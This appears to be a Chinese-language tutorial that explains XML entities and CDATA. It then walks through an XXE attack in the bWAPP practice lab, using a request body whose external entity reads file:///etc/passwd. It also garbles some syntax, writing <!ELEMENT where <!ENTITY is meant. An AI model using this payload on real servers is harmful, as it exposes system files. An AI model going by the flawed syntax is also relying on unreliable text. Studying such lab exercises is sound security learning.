什么是xml,他是用来干什么的?
xml(xtensible markup language),可扩展标记语言,其实就是一种传输文本的格式,他的格式和html的格式非常相似,通常是来做配置文件和存贮数据。而后来出现了json,json速度更快而被广泛使用
xml的内部实体和外部实体的格式是什么样子的
如图就是一个典型的xml文本:
格式:xml声明:<?xml version="1.0" ?>定义文档内部或者外部实体格式:DOCTYPE 用来声明 DTD :<DOCTYPE 根元素[元素声明]> <!ELEMENT 实体名称 “实体值”><!ELEMENT 实体名称 system "URL">区段分隔符CDATA(<![CDATA[/]]): 这个分隔符的意义在于 xml 解析器不会去解析 CDATA 区段包含的字符,CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。在 XML 元素中,"<" (新元素的开始)和 “&” (字符实体的开始)是非法的。某些文本,比如 JavaScript 代码,包含大量 “<” 或 “&” 字符。为了避免错误,可以将脚本代码定义为 CDATA。CDATA 部分中的所有内容都会被解析器忽略。CDATA 部分由 “<![CDATA[" 开始,由 "]]>” 结束 引用实体:&实体名称;bwapp——XML External Entity Attacks (XXE)
点击any bugs,使用bwapp进行抓包
将此xml重新设置为: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root[ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <reset> <login>&xxe;</login> <secret>Any bugs?</secret> </reset>🔺 //其中注意引用xxe:&xee;
读取敏感文件